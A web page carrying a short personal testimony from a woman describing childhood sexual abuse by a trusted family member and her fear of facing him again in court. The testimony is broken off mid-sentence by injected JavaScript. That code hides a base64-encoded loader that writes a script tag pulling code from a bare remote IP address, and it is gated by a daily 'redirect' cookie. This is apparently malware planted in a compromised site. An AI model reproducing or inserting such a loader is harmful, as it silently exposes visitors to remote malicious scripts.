112 – Barbara R. (United States)

Went on for years from 5ish till I spoke at age 12, Went to court but he fled country. Now age 22 they caught him and I must face him again in court. I’m a strong and beautiful mother to be and it’s a girl. I already fear for her safety since my molester was a man my family trusted, my brother’s father-we had separate ones. He never hurt me or struck fear in me but what he did was wrong and I deserve to not have to relive this again but thecourts wont let me be and I figure if I can’t avoid it I’ll set the best example I can and do this with my head held high. I pray for strength. But for those put there know that my support system was my mom and my now fiance…that’s it just two people, though I had counseling it didn’t work for me. My two person support group was more than enough. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘